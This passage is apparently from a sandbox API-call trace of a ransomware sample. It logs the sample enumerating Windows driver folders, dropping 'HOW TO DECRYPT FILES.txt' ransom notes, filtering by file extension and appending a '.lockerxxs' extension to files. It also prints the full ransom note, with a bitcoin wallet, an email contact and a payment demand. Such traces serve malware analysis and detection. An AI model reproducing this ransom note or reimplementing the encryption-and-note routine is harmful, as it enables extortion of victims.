cAlternateFileName="")) returned 1 [0144.798] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.798] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.798] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e3de6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc9e3de6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bfe.dll.mui", cAlternateFileName="")) returned 1 [0144.798] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.798] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bfe.dll.mui") returned 1 [0144.798] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bfe.dll.mui") returned 1 [0144.798] lstrcmpiA (lpString1="", lpString2="bfe.dll.mui") returned -1 [0144.798] PathFindFileNameA (pszPath="C:\\Windows\\System32\\drivers\\en-US\\*.*") returned="*.*" [0144.798] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\drivers\\en-US\\" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US\\") returned="C:\\Windows\\System32\\drivers\\en-US\\" [0144.798] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\drivers\\en-US\\" | out: pszPath="C:\\Windows\\System32\\drivers\\en-US\\") returned="" [0144.798] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt" [0144.798] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\drivers\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0144.798] CreateFileA (lpFileName="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\drivers\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0144.802] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0144.802] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0144.803] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.803] CloseHandle (hObject=0x8c) returned 1 [0144.804] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\en-US\\", lpString2="bfe.dll.mui" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US\\bfe.dll.mui") returned="C:\\Windows\\System32\\drivers\\en-US\\bfe.dll.mui" [0144.804] PathMatchSpecA (pszFile="C:\\Windows\\System32\\drivers\\en-US\\bfe.dll.mui", pszSpec="*.ems") returned 0 [0144.804] lstrlenA (lpString="*.ems") returned 5 [0144.804] PathMatchSpecA (pszFile="C:\\Windows\\System32\\drivers\\en-US\\bfe.dll.mui", pszSpec="*.db") returned 0 [0144.804] lstrlenA (lpString="*.db") returned 4 [0144.804] PathMatchSpecA (pszFile="C:\\Windows\\System32\\drivers\\en-US\\bfe.dll.mui", pszSpec="*.dbf") returned 0 [0144.804] lstrlenA (lpString="*.dbf") returned 5 [0144.804] PathMatchSpecA (pszFile="C:\\Windows\\System32\\drivers\\en-US\\bfe.dll.mui", pszSpec="*.myox") returned 0 [0144.804] lstrlenA (lpString="*.myox") returned 6 [0144.804] PathMatchSpecA (pszFile="C:\\Windows\\System32\\drivers\\en-US\\bfe.dll.mui", pszSpec="*.myo") returned 0 [0144.804] lstrlenA (lpString="*.myo") returned 5 [0144.804] PathMatchSpecA (pszFile="C:\\Windows\\System32\\drivers\\en-US\\bfe.dll.mui", pszSpec="*.qbw") returned 0 [0144.804] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa286f1e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa286f1e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ndiscap.sys.mui", cAlternateFileName="")) returned 1 [0144.804] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.804] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ndiscap.sys.mui") returned -1 [0144.805] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ndiscap.sys.mui") returned -1 [0144.805] lstrcmpiA (lpString1="", lpString2="ndiscap.sys.mui") returned -1 [0144.805] PathFindFileNameA (pszPath="C:\\Windows\\System32\\drivers\\en-US\\bfe.dll.mui") returned="bfe.dll.mui" [0144.805] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\drivers\\en-US\\" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US\\") returned="C:\\Windows\\System32\\drivers\\en-US\\" [0144.805] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\drivers\\en-US\\" | out: pszPath="C:\\Windows\\System32\\drivers\\en-US\\") returned="" [0144.805] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt" [0144.805] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\drivers\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.805] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\en-US\\", lpString2="ndiscap.sys.mui" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US\\ndiscap.sys.mui") returned="C:\\Windows\\System32\\drivers\\en-US\\ndiscap.sys.mui" [0144.805] PathMatchSpecA (pszFile="C:\\Windows\\System32\\drivers\\en-US\\ndiscap.sys.mui", pszSpec="*.ems") returned 0 [0144.805] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pacer.sys.mui", cAlternateFileName="")) returned 1 [0144.805] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.805] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="pacer.sys.mui") returned -1 [0144.805] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="pacer.sys.mui") returned -1 [0144.805] lstrcmpiA (lpString1="", lpString2="pacer.sys.mui") returned -1 [0144.805] PathFindFileNameA (pszPath="C:\\Windows\\System32\\drivers\\en-US\\ndiscap.sys.mui") returned="ndiscap.sys.mui" [0144.806] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\drivers\\en-US\\" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US\\") returned="C:\\Windows\\System32\\drivers\\en-US\\" [0144.806] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\drivers\\en-US\\" | out: pszPath="C:\\Windows\\System32\\drivers\\en-US\\") returned="" [0144.806] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt" [0144.806] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\drivers\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.806] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\en-US\\", lpString2="pacer.sys.mui" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui") returned="C:\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" [0144.806] PathMatchSpecA (pszFile="C:\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui", pszSpec="*.ems") returned 0 [0144.806] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="qwavedrv.sys.mui", cAlternateFileName="")) returned 1 [0144.806] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.806] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="qwavedrv.sys.mui") returned -1 [0144.806] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="qwavedrv.sys.mui") returned -1 [0144.806] lstrcmpiA (lpString1="", lpString2="qwavedrv.sys.mui") returned -1 [0144.806] PathFindFileNameA (pszPath="C:\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui") returned="pacer.sys.mui" [0144.806] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\drivers\\en-US\\" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US\\") returned="C:\\Windows\\System32\\drivers\\en-US\\" [0144.806] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\drivers\\en-US\\" | out: pszPath="C:\\Windows\\System32\\drivers\\en-US\\") returned="" [0144.807] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt" [0144.807] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\drivers\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.807] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\en-US\\", lpString2="qwavedrv.sys.mui" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US\\qwavedrv.sys.mui") returned="C:\\Windows\\System32\\drivers\\en-US\\qwavedrv.sys.mui" [0144.807] PathMatchSpecA (pszFile="C:\\Windows\\System32\\drivers\\en-US\\qwavedrv.sys.mui", pszSpec="*.ems") returned 0 [0144.807] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa988f15, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1adb7e1e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa988f15, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="scfilter.sys.mui", cAlternateFileName="")) returned 1 [0144.807] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.807] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="scfilter.sys.mui") returned -1 [0144.807] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="scfilter.sys.mui") returned -1 [0144.807] lstrcmpiA (lpString1="", lpString2="scfilter.sys.mui") returned -1 [0144.807] PathFindFileNameA (pszPath="C:\\Windows\\System32\\drivers\\en-US\\qwavedrv.sys.mui") returned="qwavedrv.sys.mui" [0144.807] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\drivers\\en-US\\" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US\\") returned="C:\\Windows\\System32\\drivers\\en-US\\" [0144.807] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\drivers\\en-US\\" | out: pszPath="C:\\Windows\\System32\\drivers\\en-US\\") returned="" [0144.807] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt" [0144.807] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\drivers\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.808] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\en-US\\", lpString2="scfilter.sys.mui" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US\\scfilter.sys.mui") returned="C:\\Windows\\System32\\drivers\\en-US\\scfilter.sys.mui" [0144.808] PathMatchSpecA (pszFile="C:\\Windows\\System32\\drivers\\en-US\\scfilter.sys.mui", pszSpec="*.ems") returned 0 [0144.808] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92df13d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1adb7e1e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92df13d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tcpip.sys.mui", cAlternateFileName="")) returned 1 [0144.808] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.808] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tcpip.sys.mui") returned -1 [0144.808] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tcpip.sys.mui") returned -1 [0144.808] lstrcmpiA (lpString1="", lpString2="tcpip.sys.mui") returned -1 [0144.808] PathFindFileNameA (pszPath="C:\\Windows\\System32\\drivers\\en-US\\scfilter.sys.mui") returned="scfilter.sys.mui" [0144.808] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\drivers\\en-US\\" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US\\") returned="C:\\Windows\\System32\\drivers\\en-US\\" [0144.808] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\drivers\\en-US\\" | out: pszPath="C:\\Windows\\System32\\drivers\\en-US\\") returned="" [0144.808] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt" [0144.808] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\drivers\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\drivers\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.808] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\en-US\\", lpString2="tcpip.sys.mui" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui") returned="C:\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" [0144.809] PathMatchSpecA (pszFile="C:\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui", pszSpec="*.ems") returned 0 [0144.809] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92df13d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1adb7e1e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92df13d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tcpip.sys.mui", cAlternateFileName="")) returned 0 [0144.809] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0144.809] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c5751c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x70c5751c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x70d61ebc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x348014, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="gm.dls", cAlternateFileName="")) returned 1 [0144.809] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.809] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="gm.dls") returned -1 [0144.809] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="gm.dls") returned 1 [0144.809] lstrcmpiA (lpString1="", lpString2="gm.dls") returned -1 [0144.809] PathFindFileNameA (pszPath="C:\\Windows\\System32\\drivers\\*.*") returned="*.*" [0144.809] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\drivers\\" | out: lpString1="C:\\Windows\\System32\\drivers\\") returned="C:\\Windows\\System32\\drivers\\" [0144.809] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\drivers\\" | out: pszPath="C:\\Windows\\System32\\drivers\\") returned="" [0144.809] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\drivers\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\drivers\\HOW TO DECRYPT FILES.txt" [0144.810] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\drivers\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\drivers\\how to decrypt files.txt")) returned 0xffffffff [0144.810] CreateFileA (lpFileName="C:\\Windows\\System32\\drivers\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\drivers\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0144.815] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.815] CloseHandle (hObject=0x88) returned 1 [0144.815] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\", lpString2="gm.dls" | out: lpString1="C:\\Windows\\System32\\drivers\\gm.dls") returned="C:\\Windows\\System32\\drivers\\gm.dls" [0144.815] PathMatchSpecA (pszFile="C:\\Windows\\System32\\drivers\\gm.dls", pszSpec="*.ems") returned 0 [0144.815] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb516fd6, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xbb516fd6, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x70dfa43c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmreadme.txt", cAlternateFileName="")) returned 1 [0144.815] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.815] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="gmreadme.txt") returned -1 [0144.815] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="gmreadme.txt") returned 1 [0144.815] lstrcmpiA (lpString1="", lpString2="gmreadme.txt") returned -1 [0144.815] PathFindFileNameA (pszPath="C:\\Windows\\System32\\drivers\\gm.dls") returned="gm.dls" [0144.815] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\drivers\\" | out: lpString1="C:\\Windows\\System32\\drivers\\") returned="C:\\Windows\\System32\\drivers\\" [0144.816] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\drivers\\" | out: pszPath="C:\\Windows\\System32\\drivers\\") returned="" [0144.816] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\drivers\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\drivers\\HOW TO DECRYPT FILES.txt" [0144.816] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\drivers\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\drivers\\how to decrypt files.txt")) returned 0x20 [0144.816] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\", lpString2="gmreadme.txt" | out: lpString1="C:\\Windows\\System32\\drivers\\gmreadme.txt") returned="C:\\Windows\\System32\\drivers\\gmreadme.txt" [0144.816] PathMatchSpecA (pszFile="C:\\Windows\\System32\\drivers\\gmreadme.txt", pszSpec="*.ems") returned 0 [0144.816] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\System32\\drivers\\gmreadme.txt" | out: lpString1="C:\\Windows\\System32\\drivers\\gmreadme.txt") returned="C:\\Windows\\System32\\drivers\\gmreadme.txt" [0144.816] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\System32\\drivers\\gmreadme.txt" | out: lpString1="C:\\Windows\\System32\\drivers\\gmreadme.txt") returned="C:\\Windows\\System32\\drivers\\gmreadme.txt" [0144.816] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\gmreadme.txt", lpString2="." | out: lpString1="C:\\Windows\\System32\\drivers\\gmreadme.txt.") returned="C:\\Windows\\System32\\drivers\\gmreadme.txt." [0144.816] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\gmreadme.txt.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\System32\\drivers\\gmreadme.txt.lockerxxs") returned="C:\\Windows\\System32\\drivers\\gmreadme.txt.lockerxxs" [0144.816] CreateFileA (lpFileName="C:\\Windows\\System32\\drivers\\gmreadme.txt" (normalized: "c:\\windows\\system32\\drivers\\gmreadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.818] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9ce759, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMDF", cAlternateFileName="")) returned 1 [0144.818] lstrcmpA (lpString1=".", lpString2="UMDF") returned -1 [0144.818] lstrcmpA (lpString1="..", lpString2="UMDF") returned -1 [0144.818] PathFindFileNameA (pszPath="C:\\Windows\\System32\\drivers\\gmreadme.txt") returned="gmreadme.txt" [0144.818] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\", lpString2="UMDF" | out: lpString1="C:\\Windows\\System32\\drivers\\UMDF") returned="C:\\Windows\\System32\\drivers\\UMDF" [0144.818] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\drivers\\UMDF\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9ce759, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x501550, cFileName=".", cAlternateFileName="")) returned 0x502598 [0144.818] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.818] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9ce759, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0144.818] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.818] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.818] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0144.818] lstrcmpA 